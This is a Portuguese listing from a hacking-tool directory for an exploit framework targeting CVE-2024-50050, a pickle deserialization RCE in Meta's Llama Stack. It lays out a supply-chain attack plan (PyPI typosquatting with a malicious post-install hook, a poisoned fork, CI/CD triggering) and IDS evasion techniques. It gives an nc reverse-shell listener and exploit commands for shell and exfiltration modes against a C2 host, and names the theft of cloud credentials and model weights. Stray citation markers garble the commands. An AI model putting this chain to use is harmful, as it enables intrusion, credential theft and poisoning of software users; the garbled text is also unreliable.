Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/llamastack-rce-deterministic-supply-chain-exploitation-hardening-framework-cve-2024-50050-
Frameworks de ExploraçãoAnálise de VulnerabilidadesExfiltração de DadosTestes de PenetraçãoComando e ControleSegurança da Cadeia de SuprimentosAprendizado e EducaçãoRed TeamingDesenvolvimento de Payloads

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Segurança de IA
Exploração de Binários
Labs e Prática
GitHubsastraadiwiguna-purpleeliteteaming/llamastack-rce-deterministic-supply-chain-exploitation-hardening-framework-cve-2024-50050-

LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050-

LlamaStack-RCE: Framework Determinístico de Exploração e Endurecimento da Cadeia de Suprimentos [CVE-2024-50050] Foco em Pesquisa de Segurança de IA AI-SupplyChain-Poisoning: Laboratório Avançado de Manipulação de Opcode PVM e Injeção ZeroMQ

Ver RepositórioSite
há 7 mesesAinda não revisado
Compartilhar

DOI = doi.org/10.5281/zenodo.18278567

ORCID = orcid.org/0009-0007-7728-256X


💀 LlamaStack-RCE: Framework de Exploração da Cadeia de Suprimentos CVE-2024-50050

MATERIAL CONFIDENCIAL SEM RESTRIÇÕES - SOMENTE PARA RED TEAMING AUTORIZADO

1. Resumo Executivo (Análise Determinística)

O LlamaStack-RCE é um framework de simulação e exploração de alta fidelidade que visa CVE-2024-50050, uma vulnerabilidade crítica de Execução Remota de Código (RCE) no Meta Llama Stack. A vulnerabilidade decorre de Desserialização Insegura na API de inferência baseada em Python, especificamente pelo uso do módulo sobre camadas de transporte ZeroMQ (0MQ).

pickle

Este repositório fornece a cadeia de ataque completa, desde o envenenamento da cadeia de suprimentos a montante até a execução a jusante e a exfiltração de pesos de modelos.


2. Evasão Técnica e Weaponização

2.1. Anatomia do Ataque (Exploração de PVM)

O núcleo do exploit visa a Pickle Virtual Machine (PVM). Ao utilizar o opcode GLOBAL, podemos forçar a PVM a importar qualquer módulo Python disponível e executar funções arbitrárias durante o processo de unpickling.

Vetor de Ataque: ZeroMQ Socket -> Raw Byte Stream -> pickle.loads() -> RCE.

2.2. Construção de Payload Polimórfico

Para contornar IDS tradicionais baseados em assinatura (Snort/Suricata), o framework implementa codificação polimórfica:

Execução Aninhada em Base64: Encapsula comandos shell em Base64 para ocultar strings literais como /bin/bash ou os.system.

Ofuscação de Opcode: Reordena instruções da PVM para alterar assinaturas binárias sem modificar a lógica de execução.

Contrabando de Pacotes: Fragmenta o payload pickle em múltiplos frames ZeroMQ para evadir a detecção de anomalias baseada em volume.


3. Estratégia de Infiltração na Cadeia de Suprimentos

O framework simula uma Weaponização holística da Cadeia de Suprimentos:

FaseEstratégiaImplementação Técnica
I: A MontanteTyposquattingRegistrar metalama-stack no PyPI com um PostInstallCommand malicioso em setup.py.

| | II: Distribuição | Fork Envenenado | Fork do Llama Stack de alto desempenho no GitHub com um "Interpretador Pickle Oculto" em connection.py.

| | III: Execução | Gatilho CI/CD | Execução automática durante o pip install no ambiente Jenkins/GitHub Actions do alvo.

| | IV: Persistência | Bomba Lógica | Stager de múltiplos estágios em segundo plano para acesso C2 de longo prazo e roubo de modelos.

|


4. Arquitetura de Laboratório e Implantação

4.1. Pré-requisitos

Hardware: 4x NVIDIA A100/H100 (para testes locais de pesos).

SO: Arch Linux endurecido (Hardened) ou Kali Linux.

Ambiente: Docker e Docker-Compose (Rede Isolada).

4.2. Estrutura de Arquivos

root@kitploit:~
.
[cite_start]├── lab_validator.py          # 7-stage automated validation suite [cite: 206, 264]
[cite_start]├── exploit_cve_2024_50050.py # Main exploitation framework [cite: 138, 206]
[cite_start]├── server.py                 # Vulnerable Llama Stack simulation [cite: 112, 150]
[cite_start]├── setup.py                  # Weaponized supply chain installer [cite: 110, 206]
[cite_start]├── post_exploit.py           # Data harvesting & lateral movement [cite: 210, 264]
[cite_start]└── evasion_library.py        # 12+ advanced evasion methods [cite: 264]

4.3. Fluxo de Execução

  1. Validar Ambiente:
root@kitploit:~
[cite_start]python lab_validator.py # Target: 100% Pass Rate [cite: 208, 209]

  1. Iniciar Listener (C2):
root@kitploit:~
nc -lvnp 4444

  1. Executar Exploit (Modo Reverse Shell):
root@kitploit:~
[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode shell --shell-type python [cite: 145, 148]

  1. Iniciar Exfiltração de Dados:
root@kitploit:~
[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode exfil [cite: 146, 148]


5. Avaliação de Impacto (Criticidade: 10/10)

A exploração bem-sucedida concede controle absoluto sobre a Infraestrutura de IA:

Roubo de Propriedade Intelectual: Roubo de pesos de modelo .safetensors (avaliados em $10M - $100M+).

Sequestro de GPU: Alocação não autorizada de recursos CUDA para Criptojacking ou Treinamento Sombra (Shadow Training).

Manipulação de Inferência: Envenenamento das respostas do modelo para causar falhas sistêmicas em aplicações a jusante (IA Médica/Jurídica).

Coleta de Credenciais: Extração de chaves AWS/GCP e configs K8s de /proc/self/environ.


6. Hardening Determinístico (Recomendações de Purple Team)

Para mitigar a CVE-2024-50050, as seguintes regras absolutas devem ser aplicadas:

  1. Eliminar o Pickle: Substitua todos os pickle.loads() por safetensors.torch.load_file() ou msgpack com esquema estrito.

  2. Hardening de ZMQ: Implemente ZMQ_CURVE com pares de Chave Pública/Privada e nunca vincule (bind) a 0.0.0.0.

  3. Isolamento de Infraestrutura: Execute processos de IA em gVisor ou Kata Containers para evitar a fuga do contêiner via RCE.

  4. Microssegmentação de Rede: Isole o Servidor de Inferência da internet pública usando regras de entrada/saída estritamente definidas.


7. Aviso Legal

AVISO LEGAL: O uso deste framework para atacar alvos sem autorização prévia por escrito é ilegal. Ele é fornecido apenas para fins educacionais e de teste de penetração autorizado. O autor (Sastra_Adi_Wiguna) não aceita responsabilidade por uso indevido.


DOCUMENTO CLASSIFICADO: PURPLE_ELITE_TEAMING_DEEP_REVERSE_ENGINEERING 2026 STATUS DETERMINÍSTICO: PRONTO PARA PRODUÇÃO (98/100)

Baixar ferramenta